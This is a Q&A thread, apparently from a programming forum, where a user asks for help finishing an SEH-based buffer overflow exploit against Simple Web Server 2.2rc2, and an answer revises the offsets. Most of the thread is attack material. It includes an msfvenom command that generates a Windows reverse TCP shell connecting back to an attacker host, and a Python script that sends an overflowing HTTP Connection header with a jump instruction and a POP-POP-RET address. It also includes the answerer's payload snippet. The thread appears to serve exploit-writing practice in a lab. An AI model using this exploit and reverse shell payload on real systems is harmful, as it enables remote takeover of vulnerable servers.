1

I am practicing writing exploit for Simple Web Server 2.2rc2. I was able to:

  • find proper offset to overwrite SE Handler and Next SEH
  • find POP,POP,RET address

My problem is that, I can't execute my shell (generated by msfvenom:

msfvenom --platform windows -a x86 -p windows/shell_reverse_tcp LHOST=IP LPORT=80 EXITFUNC=thread -b "\x00\x0a\x0d" -f python -v shellcode

I have tried to:

  • place my code directly after SE Handler
  • prepend shellcode with stack adjustment
  • adding nopsled before shellcode

All I see in debugger is that, my shellcode crash app.

Here is my current code:

#!/usr/bin/python

import socket,struct,os

ip = "192.168.123.2"
port = 80

rsp_offset = 2048
seh_offset = 2280
buf_size   = 2400 

#shellcode= # generated by msfvenom

buf = "" 
buf+= "A" * (rsp_offset-len(buf)) 
buf+= "BBBB" # EIP 
buf+= "C" * (seh_offset-len(buf)) 
buf+= "\xeb\x07\x90\x90" # Next SEH: JMP +7 to shellcode 
buf+= struct.pack("<I", 0x6FC5447E) # POP,POP,RET 
buf+= "\x90\x83\xec\x20" # stack adjustment
buf+= shellcode
#buf+= "F" * (buf_size-len(buf)) 

req = "GET / HTTP/1.1\r\n" 
req += "Host: 192.168.122.2\r\n" 
req += "Connection:" + buf + "\r\n" 
req += "\r\n" 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect((ip, port)) 
s.send(req)
s.close()

Can someone give me a hint, what I am doing wrong? App is available here

1 Answer 1

0

Are your offsets correct? I had a quick look and I got these offsets when running it through immunity:

[junk, 2260 bytes][Jump to exploit, 4 bytes][pop pop ret, 4 bytes][exploit, 728 bytes]

My python snippet is:

exploit = 'GET / HTTP/1.0\r\n'
exploit += 'Host: 172.16.139.134\r\n'
junk = '\x41' * 2260
jmp = '\xeb\x0b\x90\x90'
ppr = '\x7e\x44\xc5\x6f'
break = '\xcc' * 728
exploit += 'Connection: ' + junk + jmp + ppr + break + '\r\n\r\n'

Ta

Edit: I see that you have debugged and your shell code crashes the app, apologies!

1
  • I now see... There isn't enough buffer space at the end of the payload. Feb 2, 2019 at 9:27

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .